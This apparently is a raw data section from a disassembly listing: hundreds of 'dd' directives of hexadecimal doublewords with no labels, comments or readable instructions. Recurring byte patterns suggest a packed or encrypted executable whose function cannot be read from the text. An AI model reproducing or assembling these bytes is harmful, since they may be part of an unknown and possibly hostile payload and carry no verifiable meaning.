		dd 1B80000h, 83000000h,	0F21ADBDh, 850F0106h, 7, 2E9C35Dh
		dd 5D000000h, 7E858DCFh, 890614F9h, 0F0DD985h, 33E906h
		dd 0C5150000h, 3EFBh, 0Bh dup(0)
		dd 4EAE900h, 82D70000h,	266F92A7h, 5103263Bh, 0FE96B9CEh
		dd 572B4E63h, 2CBEDFF4h, 4C61C49Ch, 0E2F75229h,	748994BFh
		dd 0B203B51h, 19DE8F3Ch, 1E66EF54h, 3D530E27h, 5588351Ah
		dd 0FB662F00h, 70F3A3C6h, 3255D68Bh, 0B9E6FB5Eh, 0AE5FF286h
		dd 6D044E49h, 830439EEh, 4A2F0A60h, 9176D1A7h, 0D7BCA7EEh
		dd 78771469h, 0F3247E2h, 0A1C4D944h, 0E3866BF6h, 0CBC4A98Ch
		dd 395A69F6h, 0A8E41126h, 0D28392B3h, 1BC2234Fh, 0EB761F42h
		dd 1631476Ah, 9CEA1031h, 0EF446D03h, 42164990h,	345F02E7h
		dd 8673F429h, 4C0F4492h, 65C097CAh, 0B2C8E4h, 49AF0000h
		dd 0FDE27D16h, 4E589F50h, 2ADF6D04h, 3B5174F5h,	0D6274F29h
		dd 0A3FE921h, 77EAAADDh, 0FFB0DD92h, 6D0387F8h,	24098A3Fh
		dd 387FA03h, 84E3386Dh,	0F2F9B7Dh, 1D04Ch, 53B70000h, 0B5F21F02h
		dd 44DF304h, 6873C6Dh, 35387421h, 0F7DCE084h, 8FC6E96Ah
		dd 2D4D9Dh, 2A5F1AADh, 6FF2A245h, 0A87B0642h, 0F0D5480Bh
		dd 9E6C0F3Bh, 0D91ECFFCh, 5E6D0441h, 0A04328A9h, 0E2856AF5h
		dd 18C5AA8Dh, 4419067h,	67F2A76Dh, 0F6E4F592h, 5005C2A1h
		dd 0B263A0CDh, 6D044245h, 9FB435EAh, 73843572h,	0BC6D0442h
		dd 0D638607h, 0B4CAFD2Ah, 0F2FB1091h, 592E3F53h, 41E4C9FEh
		dd 81240914h, 0C6694EE9h, 71ECA9B2h, 0BDA2D78Ch, 2F8EDDB2h
		dd 88472469h, 0EB2855F0h, 44DBD3Ah, 9ABD726Dh, 0CCE162C5h
		dd 9378D3A9h, 0D6BBA6F0h, 8C553277h, 43280359h,	8200D8Eh
		dd 544C0FF4h, 43916617h, 0F1A66D04h, 6B5470h, 533B0000h
		dd 8A371C3Fh, 3D223D57h, 0B2E40788h, 75CCAAFh, 34176B78h
		dd 0C164FC1Fh, 0AD425894h, 4B06C9CDh, 1242E5CAh, 0D8AFE20Fh
		dd 295EF98Fh, 290E8F44h, 1FE685CAh, 4C0F9809h, 5E62h, 3F534900h
		dd 0FFB3EF1Ch, 0AAA48E65h, 4D7E792Ah, 4B96D04h,	0C6694ECFh
		dd 15AD928Dh, 0CCA42340h, 0F4275469h, 9A85CE9Fh, 4ACB00B5h
		dd 31025341h, 0E2C7FC67h, 0E1520235h, 12C7ACB7h, 0C243F8DDh
		dd 44DD921h, 0C75AFD6Dh, 102B3FE2h, 0A1BE932Bh,	91EE4310h
		dd 0FF59088h, 1DD4Ch, 53C40000h, 8C391E01h, 0A5260159h
		dd 1C49EC82h, 0CCB1ACE9h, 0B8B19617h, 0D4784E3h, 6831FD12h
		dd 7A8C3D6Ah, 0B56B0B47h, 0E2781B00h, 790F3247h, 25D8F9DEh
		dd 0BE66F545h, 10439AE9h, 3558D944h, 0A453045Fh, 8B66F544h
		dd 44CA2DDEh, 0B06566F5h, 0E31467Bh, 7DB0DD78h,	0AB6045D8h
		dd 0CCA2452Ah, 0F93E8469h, 7720536Ah, 0D15207ECh, 687DD8AEh
		dd 0EC9D7Bh, 103CE46h, 0AAB50000h, 5B6E3EFh, 6B0B5811h
		dd 1FC2A75Ch, 0B6D9EE49h, 0FDA085A0h, 99DFC467h, 7BAE3754h
		dd 6A1B48DBh, 66F5378Dh, 496CEDA2h, 9F042133h, 278AA591h
		dd 28F0DDF2h, 3446000Eh, 0E5CA5501h, 10AA8539h,	93C8A146h
		dd 3AF612h, 0AADD0000h,	3B4E1F1h, 12FBB0D4h, 6081661Bh
		dd 0ED044E97h, 0BF6704D9h, 18C9F6DCh, 92FBB1BFh, 12E43F8h
		dd 0B49984CEh, 0A6B9DCFFh, 874825h, 4F8B0000h, 4A3C6335h
		dd 424BCCA3h, 0B6E3EFAAh, 0B452505h, 8EBB706Bh,	0A6273A5Bh
		dd 0ED481EC1h, 55C88DC0h, 253ABB70h, 0E4C96C02h, 0F5432DC3h
		dd 2C3B1066h, 416EC99Fh, 5BDC470Eh, 0B31F7A46h,	0CE884A86h
		dd 3F07A197h, 5FE091BEh, 0D8650110h, 0C59B3E23h, 47847D62h
		dd 0EF9E590Ah, 0F6996CE8h, 28DDC25Dh, 0DEAD72F3h, 0A083D407h
		dd 0E37E18BBh, 0E71449FEh, 0E8EFC136h, 40C1766Ch, 80AD2574h
		dd 0F55670CFh, 0FD12C76Ah, 0E3EFAAF4h, 0B43A05B6h, 0C9756B10h
		dd 0D191CA84h, 391E53C0h, 71D4508Ch, 169AEE5Bh,	411C7295h
		dd 0EFD76790h, 0EF1BD066h, 0B9A7CD8Eh, 2D427728h, 0C8F7C400h
		dd 0DF513896h, 8BA5F93h, 0D8598E70h, 977CDFB5h,	829DB7EAh
		dd 0C667E89Dh, 4FD724F3h, 2DBAC91Eh, 0D6710657h, 13698CA1h
		dd 0E4B05338h, 0C69B9479h, 0F1542AB9h, 9AA3B9DCh, 0D27E63C6h
		dd 8B2EF9Bh, 34699EEAh,	3F24Fh,	0D7590000h, 1B3E53CEh
		dd 5AFD9336h, 9E81D275h, 0E64116B9h, 2F0A5E01h,	78D3A74Ah
		dd 0B9A4F093h, 0FC6731D4h, 3E217417h, 8952F759h, 4C281E2h
		dd 83000000h, 148704EAh, 0C895C24h, 1F0E6824h, 3C890000h
		dd 0EF56824h, 1C890000h, 1172BF24h, 0F74F1E15h,	5EFC1D7h
		dd 0A310B850h, 0C701FF05h, 70DB6858h, 24890000h, 24048324h
		dd 0AC685B04h, 89000025h, 438F243Ch, 2434FF08h,	4C4835Bh
		dd 50243C8Bh, 405E089h,	83000000h, 48704C0h, 5BE95C24h
		dd 0E8FFFA7Fh, 3C98E737h, 209FE34Bh, 5AFFFA67h,	14FEF4B8h
		dd 0FFC50306h, 0AAEDEAE0h, 937DCA73h, 9961363Ch, 0B33C2771h
		dd 0CE551B0Fh, 9B53F91Bh, 3D87034Ch, 4050321Fh,	0FA6FE003h
		dd 2FB36A12h, 18DEE90Ch, 0BF62366Dh, 0B39F8455h, 29185D24h
		dd 3EF2C250h, 5B2D127Ah, 0EA1A3578h, 8278C040h,	0BF621B28h
		dd 0C95AF00Fh, 337B7222h, 0B1A9E613h, 5CF8D308h, 9A8D8D4Ch
		dd 6A061500h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 0DC1C350h, 0FDBE24BEh,	8D89F2C2h
		dd 60F2C65h, 11E850h, 718A0000h, 9E4FFA57h, 69AE62CAh
		dd 85FA1500h, 5044C967h, 8B5E5B5Fh, 0C185C7D1h,	0B4060F07h
		dd 6A00005Ch, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0D8CEC353h, 1278F2E5h,	249185C7h
		dd 60Fh, 8B660000h, 49B589C2h, 0FF060F08h, 0F0B09B5h, 0E9F38106h
		dd 0FF090161h, 0F2A0595h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 9851711Ch
		dd 815E8D76h, 0FF006ABAh, 0F345195h, 0EBC08B06h, 0A0C7A35Ah
		dd 0A3565A01h, 0F52EF7E3h, 0C0DA3AAEh, 0FC026216h, 1EE3BC2Fh
		dd 4C4AA6E0h, 0CF2037FBh, 1BC64F92h, 98945D4Eh,	4F17E463h
		dd 93B34475h, 7BF53D24h, 246B9348h, 707F0795h, 0E5076BA4h
		dd 39A9447h, 0ED239685h, 333C200Eh, 3F6DE5D5h, 0A6E2BDA1h
		dd 0D5467E64h, 0E8C42B1Ah, 8, 0D394EE0Eh, 0D6CC0D2Fh, 3AB8BB66h
		dd 0C681F85Eh, 636Bh, 26919D8Bh, 0AB68060Fh, 0E8000018h
		dd 12h,	7CFA9270h, 0E7769234h, 3A27DF91h, 0C42FD469h, 5859B0DFh
		dd 2FEDB589h, 3E8B060Fh, 11E9h,	0B3F12C00h, 0B21E254Eh
		dd 9814573Bh, 5C291AE3h, 0C781DCFEh, 2371EB1Ch,	4CDB8166h
		dd 0A9C781BBh, 815E58A4h, 295BCFF7h, 55950B42h,	57060F1Dh
		dd 0AE23DB81h, 68F7572h, 33F98D8Bh, 0EE81060Fh,	2F5D410Ch
		dd 12E8h, 7BE89E00h, 255FFDFDh,	76FDE95h, 9B40D7F9h, 510E43A6h
		dd 5E9h, 9722FA00h, 5A598C5Ah, 4108C681h, 0BF0F2F5Dh, 1E883D7h
		dd 0FF80850Fh, 54BBFFFFh, 0E9073728h, 0CEh, 1B83787Ah
		dd 0CA459CD7h, 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h
		dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h
		dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh,	9CB2E9B5h
		dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h
		dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h
		dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh,	93BCF996h
		dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h,	899BE0CEh
		dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h
		dd 0CD43F1B6h, 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h
		dd 5 dup(0)
		dd 8DE90000h, 68000015h, 61504BAh, 0FA7C19E9h, 5A568FFh
		dd 0FE90615h, 68FFFA7Ch, 61506B7h, 0FA7C05E9h, 81768FFh
		dd 0FBE90615h, 68FFFA7Bh, 61508BEh, 0FA7BF1E9h,	97568FFh
		dd 0E7E90615h, 68FFFA7Bh, 6150A2Eh, 0FA7BDDE9h,	0AD868FFh
		dd 0D3E90615h, 68FFFA7Bh, 6150B86h, 0FA7BC9E9h,	0CFC68FFh
		dd 0BFE90615h, 68FFFA7Bh, 6150DF8h, 0FA7BB5E9h,	0F5468FFh
		dd 0ABE90615h, 68FFFA7Bh, 6151052h, 0FA7BA1E9h,	11D468FFh
		dd 97E90615h, 68FFFA7Bh, 61512C8h, 0FA7B8DE9h, 14AF68FFh
		dd 83E90615h, 68FFFA7Bh, 61515B1h, 0FA7B79E9h, 68C396FFh
		dd 0FA653053h, 8D90C2E5h, 1E015578h, 0B792E609h, 5DEF81A2h
		dd 0EA0D2205h, 7A9DB295h, 0E3146D9h, 0F9C8DD78h, 4B5C9B4Ch
		dd 0DCD366EFh, 233D53C3h, 30D97638h, 729FD48Ah,	250A153Fh
		dd 670AEF70h, 15304811h, 0D680B3E0h, 0E9B5CA4Bh, 44F522B0h
		dd 6B0AEE46h, 402375A8h, 6125A65Bh, 94C7FACh, 8FB09516h
		dd 66F4CF6Ch, 51C6BB0h,	46007213h, 4958h, 0EFAA3F00h, 9905B6E3h
		dd 6B6B0B67h, 81021D38h, 762308BDh, 8F101343h, 0F5280DEEh
		dd 26620F66h, 7CAAC6E3h, 5C0D3AE4h, 66F4549Bh, 995EDF94h
		dd 0FCE533CAh, 88645FFh, 49000001h, 1EB6C0Dh, 69FEA318h
		dd 0FF34E9CEh, 3D53757Eh, 0FE92351Ah, 0FE33166Dh, 45E07619h
		dd 84A7BD60h, 0F7722457h, 44DB146h, 9CD1866Dh, 8065061Bh
		dd 586D0449h, 0EF122702h, 0F09EC799h, 0E418EA7h, 0F1A8F4D9h
		dd 3A77B4E1h, 0A3AB4CFDh, 0CF846D03h, 3A3C92Eh,	8DB96E6Dh
		dd 0FDEEA25Fh, 0E98A0B0Dh, 6B0AE92Dh, 0EA265308h, 0E7F8CB0h
		dd 40E507ADh, 53A3D16Ch, 0BC889D1Eh, 8BC8F5DDh,	930F7A4Fh
		dd 64E54B5Fh, 680F0C3h,	6C04A765h, 0FA2FE4C9h, 74C59ACDh
		dd 250A3F22h, 8FC2EF70h, 0F63360FBh, 0E57EB245h, 3584156Ch
		dd 520DD229h, 4358D98Eh, 0ADB0E316h, 0D671092Ch, 67F87CBh
		dd 419E838Eh, 12C6h, 0BCD1740Dh, 4C61FC99h, 0DFF46F29h
		dd 708598BCh, 0FD12354Dh, 0A6BA4ADCh, 344B6E83h, 0BED9FC11h
		dd 156B8EA3h, 0A14E1D32h, 0EF4A07F0h, 20393066h, 71C3F53h
		dd 73EEA7DAh, 9EB9CFF2h, 6E295C89h, 0AA6972F3h,	5B6E3EFh
		dd 6B0B6799h, 817627D4h, 0B666F528h, 0C6E7CC01h, 66F52835h
		dd 6DFE3AE7h, 75E8ADC4h, 0C1AFDB90h, 9CE4F71h, 0AA75A37Ah
		dd 0BCF64600h, 0DD000000h, 351A3D53h, 0BBF44C88h, 74FF947Bh
		dd 0A5B8D0F3h, 593E2172h, 0D6F403A4h, 863B6D03h, 9A4B6C51h
		dd 926D03D2h, 0F92C59FCh, 2CE1C661h, 1D7396ABh,	3C90A43h
		dd 0DD121DF2h, 0E5EDACF8h, 990F07B8h, 0B1666B0Ah, 9C9D09Ch
		dd 2C6D2BDCh, 0FC46506h, 80DBAFE2h, 1E30486Bh, 0CC7FB4D8h
		dd 5E0F3C5Fh, 6CE58399h, 0A9B4E99Eh, 8E06D8EFh,	0DB157257h
		dd 0F8000011h, 8EB1C661h, 24475CC7h, 0B7DAEF72h, 4C6F849Fh
		dd 0DBFC1134h, 88A3B749h, 203B5073h, 0B4AFE80Bh, 43E67C9Fh
		dd 1B25F2Eh, 66EF48F6h,	53314A41h, 8473243Fh, 0AB6D044Dh
		dd 6194C1F6h, 8F442934h, 80D6F90Eh, 538790A5h, 92351A3Dh
		dd 47B061FCh, 0F06D044Eh, 0A6D9063Bh, 0D88D72EDh, 751F4257h
		dd 89E6A8F3h, 0E81D589Fh, 410A6003h, 0C6DB102Bh, 332E6699h
		dd 35EDC3B2h, 90416E64h, 6B0A955Eh, 0BC3BEC99h,	7366F45Ch
		dd 5393CAC7h, 1C51B8D3h, 6A9031E7h, 64947F6Dh, 16FB6631h
		dd 8514E061h, 0B0E3204Dh, 0E59A7FDAh, 889ACC2h,	862CC767h
		dd 8CE21579h, 0AF6428A9h, 3AE11DCAh, 0DC32D352h, 0B4E5B132h
		dd 32B5F11Eh, 2414FBD4h, 3A48D3FDh, 8BC0FDDAh, 0AC2CDD0Ah
		dd 3738BE4h, 0CB343660h, 0D0786255h, 0C774598Eh, 6B5FE116h
		dd 6CA1567Bh, 2C110C49h, 0E2154277h, 0C0DDB28Ch, 0F05A16B4h
		dd 0ED83A6BBh, 616F3F4Ah, 0FEE37F80h, 10C9A1h, 0D4770A00h
		dd 66F99CBFh, 0F9642E51h, 8A95C1E4h, 1B3E5275h,	0C153E506h
		dd 56798EA9h, 0EE112601h, 82A5BAA5h, 653449ECh,	47F007B8h
		dd 504766EFh, 1A3D5337h, 22B0E935h, 0CA7BB8F5h,	6D044E2Dh
		dd 4BAC4D02h, 856D044Eh, 0D3884CEFh, 0D6742552h, 616B0B58h
		dd 2D6A97ACh, 1C0F11F1h, 0C768DCDEh, 66F45C30h,	5D15207h
		dd 60113E94h, 64FB6726h, 318F8CC8h, 3FCA911Eh, 924EFABEh
		dd 1E20A9A3h, 0A9CAAFE4h, 6D03B952h, 1FE685CAh,	4C0F60F9h
		dd 0F9642E61h, 0C2DE5F14h, 4Bh,	5B0C49A9h, 6D044D9Ch, 915DDE93h
		dd 609DCA08h, 0FE7E4F24h, 0F5763498h, 0A774454h, 5285C26Bh
		dd 7A7D1E01h, 0B566F488h, 6BB7F00h, 72EDA6D9h, 8841BC5Dh
		dd 0C19766F4h, 652E5166h, 356815FAh, 661B0063h,	0FE408E5h
		dd 496F0000h, 2837B0Dh,	8200CF11h, 9EBC8D3Dh, 0C6921348h
		dd 21D2FFD3h, 6B113845h, 7BAEDB90h, 1E0154E5h, 0DBB1D4E9h
		dd 4A4F9B80h, 1BAA5B88h, 0B064FC39h, 7AE09404h,	3F42EC9h
		dd 2854096Dh, 6FA468E2h, 0DE790F42h, 75D0A6C9h,	0DD401548h
		dd 8DCA775Ch, 40C1BDCh,	0DE5F146Dh, 1E4B8712h, 4F3A4E1h
		dd 2B6D040Ch, 0E254F576h, 4D6B0B04h, 59E78D98h,	42278817h
		dd 0F69E5h, 34176A00h, 0C659FC1Fh, 59C48EB1h, 0EA752144h
		dd 7BDEB2D5h, 21B34566h, 0B6D9EE49h, 4E7186A1h,	0E2051A05h
		dd 0C594A98Ch, 45906718h, 0B0A766EFh, 4E26D597h, 75A86D04h
		dd 1B065122h, 9965E6h, 0BEC9DDAh, 246D044Eh, 4E29CE6Fh
		dd 0F4A56D04h, 6D044E03h, 0FEB3772Ch, 72A7BADBh, 82D50845h
		dd 8405BA9Fh, 114EEAE3h, 8FBC716Bh, 4126395Ch, 0ABDE0B8Ch
		dd 124572D5h, 4459DA7Dh, 0BF04B21h, 0CBF8DABFh,	8376ED8Fh
		dd 0EE8225D2h, 29550A66h, 0CA4B75C9h, 0FE5EEC9Dh, 24D964F5h
		dd 25E7919h, 67C4A98Eh,	0EC2h, 0C8DD7811h, 586DF0A5h, 0EB006335h
		dd 7C918CC8h, 11260159h, 0BACE5EF0h, 10678A9Fh,	5AFD2035h
		dd 0F98FB2C7h, 0CD7A495Eh, 0EF45DB1Ch, 445D5466h, 351A3D53h
		dd 2B6BFC92h, 0D11E0338h, 216EF7Ch, 5A4C0FF2h, 0FD17561Eh
		dd 21A2CE62h, 93A05h, 0EFAAEC00h, 0C879B6E3h, 6D044E2Fh
		dd 0A5D25308h, 0FD603568h, 4EF5DB7Ch, 0B76C6B11h, 2F01578Ah
		dd 6E901709h, 0DA7D127Dh, 0D60B40F5h, 47E276A9h, 172CAD62h
		dd 0D6BB9EF4h, 0EEFC46B5h, 22B0E966h, 89ACC2F5h, 416EEFA4h
		dd 0F607BA90h, 0A619464h, 0B988EE38h, 0DA0FFA8Dh, 0D5E09559h
		dd 8E02C1BBh, 0B19765Bh, 0C800000Eh, 5E8196B1h,	0F4172C37h
		dd 87AABFA2h, 1C3F54CFh, 0ABCCE144h, 58F38719h,	0F04B2043h
		dd 849FB8DBh, 13364C6Fh, 0D1822FFEh, 66EF4526h,	49011A11h
		dd 3AEB7E16h, 6D044DBDh, 0A388BD72h, 4996E0F7h,	0BBF0286Ch
		dd 0E641173Ah, 2D085E01h, 0B3EFB48h, 0A98CE374h, 59DA8F74h
		dd 0BBEEF794h, 140182A5h, 4C0F6C04h, 86A69h, 26D55000h
		dd 96D044Eh, 1E015490h,	224F8439h, 114B9F71h, 0B4E1966Bh
		dd 3B50EB81h, 0BAE74218h, 4C2BCC7Dh, 4F0466EFh,	0FC9DE9CEh
		dd 52F8A9D6h, 8564F657h, 9385CD9h, 3BECBA60h, 6CE9DDBCh
		dd 5489BE73h, 2623D49h,	83E0C58Eh, 0D52h, 384DE881h, 0C8DD4015h
		dd 5B70F3A5h, 0EC011C38h, 8196B1C9h, 2A3ECE60h,	80D7FA0Fh
		dd 2A6D90A5h, 69FF2237h, 3DEAB9CEh, 0EF446B8Ch,	0B4CDC466h
		dd 351A3D53h, 7459FC92h, 6CB5D227h, 4C0FF1ACh, 7D6C1h
		dd 0EFAAA800h, 2205B6E3h, 46B114Ch, 0E5B1BAD1h,	0ABE0957Ah
		dd 0CC9011C6h, 8C2F0120h, 85D40549h
		dd 60739F36h, 889BBAF7h, 82752653h, 0AD66EE98h,	6396C3F8h
		dd 0C174031h, 0F62956D7h, 8DB0C560h, 4E6F54F7h,	66EE98ADh
		dd 8EBB1782h, 0F5A46DDDh, 153CE864h, 0BB38081Eh, 787681B6h
		dd 0E88E0262h, 0CA8A603h, 562B0000h, 9ABBDEF3h,	54F7287h
		dd 0B2E2051Ah, 0E3779AAFh, 80123348h, 0A8BD98F0h, 364BEE85h
		dd 0C8DD4013h, 576CCFA5h, 0CD2ADB88h, 6266EF43h, 3D53526Bh
		dd 0FC92351Ah, 0D2277459h, 0F1AC6CB5h, 2CC14C0Fh, 0A8000007h
		dd 44E21D5h, 3D95046Dh,	0A386DD10h, 5B8809BEh, 114C60AAh
		dd 273B6E6Bh, 0E96A1F04h, 4ED18225h, 5788B469h,	6642DEC1h
		dd 3B6E9BD0h, 0D97C1425h, 0F50A3FF4h, 0B499BCD2h, 0F8A93168h
		dd 66EE7EFFh, 214E8338h, 0B7CDA6EEh, 0C5FAAF94h, 24661744h
		dd 0AA64F582h, 5C41DC77h, 0AD6226A7h, 2C18EA2h,	0C8250A8Eh
		dd 0BFAh, 90A580D9h, 2035286Dh,	0B3C85BFDh, 4459C490h
		dd 0D9EE4921h, 0C29626B8h, 582F5267h, 92C5E8FDh, 1577A8Fh
		dd 95421126h, 0EF4313E4h, 0C251C66h, 43A30D49h,	0F8EC322Ah
		dd 1B3E5477h, 62FD9336h, 40C46B1h, 73CF16Dh, 60E97F22h
		dd 11F62B36h, 5A3F1A6Eh, 2A0B63AEh, 0BFD7E051h,	763C9DEAh
		dd 61FC96C9h, 7F4C1BE0h, 4C394EE9h, 4C0EFFCCh, 159A1h
		dd 5A316400h, 0E4651AFFh, 401649DBh, 4DBB3CEDh,	0BF746D04h
		dd 90E6098Ah, 4DEB0CBDh, 0B1E56D04h, 833EEAAEh,	22120A74h
		dd 12E6398h, 189984CEh,	5FFA9033h, 0BF1B7E4Ah, 3C2E90Eh
		dd 64994E6Dh, 0AE49FA37h, 896D03C2h, 752653D4h,	6B0ACA15h
		dd 65866B20h, 66F4BA96h, 0EFA6D986h, 0BB2CCB7Ch, 4E0366F4h
		dd 127DED19h, 0DC574A90h, 30C9965Bh, 460075E8h,	2A85h
		dd 16496C00h, 0ADC2E540h, 6FF0A58Ah, 0AFDCF6A3h, 0B67A0FEh
		dd 3D22D76Bh, 0F527DF1Ch, 6BF83D66h, 0CF8692h, 0AAE746h
		dd 53CE0000h, 0B1ED1A3Dh, 0DAAEF508h, 0B9E59A7Fh, 1823602h
		dd 46E1791Ch, 0D481B461h, 2EAF6449h, 0EDD2750Bh, 0A5520340h
		dd 8A6D03AEh, 5B3154D5h, 0F9DE4112h, 59FA0F44h,	6D03C59Ch
		dd 1E33166Ch, 5E8B4752h, 152F69ADh, 7721C46Bh, 578AB7ECh
		dd 0F0132803h, 0B0B2BD98h, 1088090Bh, 0A84CE2Bh, 3A4F0000h
		dd 0AEE70A1Fh, 0D97B9EB3h, 460E3146h, 0CFA3C6DBh, 0A436576Ch
		dd 0C4D97C14h, 5A6FCAA1h, 0EC011C37h, 8398B3C9h, 0A15607B4h
		dd 9666EF41h, 3F53869Fh, 0A7DA071Ch, 0D98E73EEh, 0FC5F3558h
		dd 0F387BAE7h, 9BBE7358h, 0DBE465F8h, 351A3D53h, 4459FC92h
		dd 4F667h, 0EFAACE00h, 4905B6E3h, 846B0B63h, 266FA2CFh
		dd 74A1563Bh, 0F52134C3h, 0C546FB66h, 0A9F733E0h, 44DF7906h
		dd 0A96C2B18h, 8D748728h, 63A866F4h, 4480BD04h,	1015B07Ah
		dd 4F394F9h, 2B66F4FCh,	1008F576h, 5D4600A4h, 21Ah, 5B0C4944h
		dd 6D044D9Ch, 0E015E793h, 7F6BD51Ch, 0D028C94Ah, 5F6D038Ah
		dd 2E6B983Ah, 0DCC164FBh, 8B797E2Fh, 9BE6D03h, 56B253D4h
		dd 0DD6B1089h, 0B2C8FB28h, 95F8297h, 9CFD492Eh,	90CC0936h
		dd 0AAD2823Bh, 9E3FC059h, 64F600ECh, 83ABB66Bh,	0FF8E025Fh
		dd 988BD1Ah, 364B0000h,	0BADBFE13h, 256F92A7h, 5202253Ah
		dd 0C397BACFh, 0A0325368h, 0C8DD7810h, 566BCEA5h, 0E8FD6033h
		dd 778CAFC5h, 0AD4AFBA8h, 8266EF40h, 0D49728Bh,	72C0A22Dh
		dd 0F46F263Dh, 451B3EBFh, 1D50FDE2h, 0AFC4E77Ah, 92E80B8Ch
		dd 6C7AA1C0h, 0B3645DDAh, 6D037B44h, 0DE0136EBh, 11C6ABB6h
		dd 6CB1F7DCh, 9FBAD01Fh, 227B9D8Ah, 4FF04C0Fh, 0D7000001h
		dd 351A3D53h, 1A3D5588h, 0DCFF8035h, 91E2B586h,	462B60FBh
		dd 0B9982A9Ah, 8BC023DCh, 24754156h, 74481AEh, 3C2A156h
		dd 60E1966Dh, 0ACACBBFh, 0F0D58A6Bh, 0F4BB2CCFh, 74D7AC66h
		dd 0B7AAEC8Fh, 95F2C7D2h, 85B86544h, 0B0654AEDh, 41D6A2Fh
		dd 46005E14h, 3459h, 0ACE91C00h, 0AA2730B1h, 5B6E3EFh
		dd 6B0B6799h, 193A1FD4h, 66F527E2h, 0BFD35CF6h,	0DF82679Ch
		dd 0CFC8AD88h, 6D4C6DFAh, 56C25B28h, 174600CFh,	0A8h, 1A3D53FEh
		dd 558835h, 0C164FA1Dh,	0E2451D40h, 6D1450FDh, 0D4F30080h
		dd 0BE99EE11h, 0F3441A3Dh, 34D7BC9Fh, 93C8FD60h, 0D2750BAEh
		dd 46E91CBDh, 69FF6D03h, 0ACEDB9CEh, 0CE48F926h, 0A96B155Dh
		dd 4E8AC7F4h, 7E6228CBh, 0E80B8CBEh, 7DA0B590h,	13742E5h
		dd 8188093Eh, 82C3F9Ch,	0D2A70000h, 163F6277h, 81D3F60Bh
		dd 2E66899Eh, 67FB1E33h, 0FC8EAFC4h, 1C31146Ch,	0B2C762F9h
		dd 4459C48Fh, 0DBF04B21h, 49AE5F0Ch, 0EE66EF3Fh, 3F53DEF7h
		dd 0A7DA071Ch, 0D78C71ECh, 0FA5D3356h, 0D285B8E5h, 0F76A2C4Fh
		dd 0D3DC5D12h, 0ED1A3D53h, 9C81A4BAh, 0DE8166E7h, 4D80AD88h
		dd 80951609h, 292A3h, 0EFAA0A00h, 6505B6E3h, 0B06B114Ch
		dd 6F516FBh, 0D266EF4Ch, 16B99E81h, 91FFE47Fh, 0F5A02F3Ch
		dd 9BD0856Ah, 87DC0FBCh, 15E23A4h, 0FAF320F8h, 2434D45h
		dd 0D5340000h, 6D044E23h, 0E3B9702h, 0FCCF75D2h, 0B2E28146h
		dd 0E015CAAFh, 0C2F5325Fh, 0F3A88D90h, 189984D0h, 106EEB77h
		dd 38651A6Bh, 0B7CC6F05h, 243F578Ah, 0E6098A3Fh, 5588B590h
		dd 84391E01h, 0C7D21E03h, 5D2DDE0Bh, 0D864F575h, 8E7D7A2Bh
		dd 0FDB26CE9h, 627FCBD1h, 3D7260D4h, 24C1632h, 308D728Eh
		dd 72Eh, 5469CCA5h, 0E4F96431h,	778C97C1h, 81D0054h, 95AA8DE5h
		dd 3E52E274h, 8CE3061Bh, 267194A9h, 6D03263Bh, 39E6B5CAh
		dd 0EF3E6F88h, 0B8D1C866h, 83D90C49h, 6D0EC3A8h, 6D044D8Ah
		dd 0B047F8A5h, 876D044Dh, 0F91C9DD2h, 40E3C863h, 0EA75212Ah
		dd 361B5005h, 0FDCABF0h, 74B1DE79h, 44E34C3h, 61C49C6Dh
		dd 5267E89Dh, 0FF5B365h, 1C74A74Ch, 1E9F5439h, 16402h
		dd 3D53E900h, 4B88351Ah, 4D9A5D0Eh, 0E0956D04h,	44DB83Fh
		dd 0F04B206Dh, 0DD92560Bh, 283A6BAh, 0DAB789DFh, 1198C378h
		dd 0DB0E3B70h, 0F24A5B8h, 4F7C5643h, 0A5AEC9Eh,	0D1B66B6Bh
		dd 0BE99F124h, 6B5F9C3Dh, 10BD66F4h, 26A7BADDh,	7EBB0261h
		dd 4E8DBF42h, 9A3B022Dh, 66F4F65Dh, 0AF9C1DD2h,	46009969h
		dd 3902h, 0EFAAE900h, 87BC9FF5h, 67F5A95Ah, 9B506B0Bh
		dd 286695B6h, 71B666F5h, 0C298CB12h, 1FF9E667h,	4C4600CFh
		dd 0C7h, 0D621D20Fh, 6166F523h,	0DE0D80ACh, 0B0242E08h
		dd 0C49262Fh, 44D9C5Bh,	5DDE936Dh, 1C01243Ah, 6146E179h
		dd 0A88DA8BEh, 98B3C8FBh, 0B8DBFEB3h, 8A0BC0A5h, 21361167h
		dd 4349580h, 5226596Dh,	0DC5D12F7h, 7388A3B9h, 83F80A46h
		dd 8B1A0D87h, 775B3E0Ah, 327D994Ah, 15B86B15h, 0BCA7F142h
		dd 8ED22D7h, 0BEF11E53h, 577A8FAAh, 0D31D2803h,	5388090Fh
		dd 5AC116Eh, 52270000h,	96BFE2F7h, 153768Bh, 0AEE6091Eh
		dd 0E77B9EB3h, 7C0E2F44h, 9CB194ECh, 3247E279h,	0C4D9440Fh
		dd 5B70CBA1h, 0C92EDF8Ch, 6E66EF3Ch, 3F535E77h,	8EE4071Ch
		dd 53889BBDh, 89DE113Eh, 0A78C97C0h, 35D8BDF2h,	6419FE61h
		dd 53A5AE2Fh, 92351A3Dh, 674459FCh, 1Bh, 1A3D53CEh, 3D558835h
		dd 0E076991Ah, 9DF26045h, 0D06B01CEh, 20DEBBh, 49450000h
		dd 0FDE27D16h, 96C31C48h, 4B8ACD4Ah, 76D1A7CAh,	2D8A7091h
		dd 71466D04h, 9CBFD512h, 3D537E87h, 0B0E9351Ah,	2244F522h
		dd 6D6B114Ch, 2588BB8h,	99EF1227h, 0C8DD9BEh, 955D99C6h
